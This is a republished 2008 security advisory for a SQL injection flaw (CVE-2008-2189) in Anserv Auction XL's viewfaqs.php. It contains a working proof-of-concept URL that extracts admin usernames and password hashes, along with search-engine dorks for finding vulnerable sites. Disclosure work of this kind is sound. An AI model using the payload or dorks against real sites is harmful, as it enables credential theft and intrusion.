Bug: Anserv Auction XL (viewfaqs.php cat) Blind Sql Injection Vulnerability ( Ascii Version )

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Anserv Auction XL (viewfaqs.php cat) Blind Sql Injection Vulnerability

Published
Credit
Risk
2008.05.15
M.Hasran Addahroni
Medium
CWE
CVE
Local
Remote
CWE-89
CVE-2008-2189
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
6.8/10
6.4/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

ECHO_ADV_92$2008

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-----------------

[ECHO_ADV_92$2008] Anserv Auction XL (viewfaqs.php cat) Blind Sql Injection Vulnerability

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-----------------

Author : M.Hasran Addahroni

Date : May, 5 th 2008

Location : Jakarta, Indonesia

Web : http://advisories.echo.or.id/adv/adv92-K-159-2008.txt

Critical Lvl : Medium

Impact : System access

Where : From Remote

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Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Anserv Auction XL

version :

Vendor : http://auctionxl.com/ http://anserv.com/

Description :

Auction XL offers many features in an auction software package. If you would like to bill your clients monthly for their
accumulated fees,

XL is the right choice for your auction software. "Name Your Price" offers is just one of the newly added
features.

Auction XL has many features included making it a robust auction software package that offers complete user interaction
and admin control

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Vulnerability:

~~~~~~~~~~~~~~

Input passed to the "cat" parameter is not properly verified before being used to sql query.

This can be exploited thru the browser and get the username and hash md5 password from admin.

Successful exploitation requires that "magic_quotes" is off

Poc/Exploit:

~~~~~~~~~~

http://www.target.com/viewfaqs.php?cat=-1%20union%20select%20concat(id,0
x3a,username,0x3a,password)%20from PHPAUCTIONXL_adminusers--

Dork:

~~~~~

Google : "allinurl:viewfaqs.php?cat="

Altavista : "Home | Sell an item | Register | Login | Community | Site Map | Help"

Solution:

~~~~~~~

- Edit the source code to ensure that input is properly verified.

- Turn on magic_quotes in php.ini

Timeline:

~~~~~~~~~

- 02 - 05 - 2008 bug found

- 03 - 05 - 2008 vendor contacted

- 05 - 05 - 2008 advisory released

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Shoutz:

~~~~~

~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath

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~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES

~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0mal
y,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b

~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c

~ newbie_hacker (at) yahoogroups (dot) com [email concealed]

~ #aikmel #e-c-h-o @irc.dal.net

~ special for rgod - good bye mate, thanks for the great works.

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Contact:

~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com

Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

See this note in TXT Version

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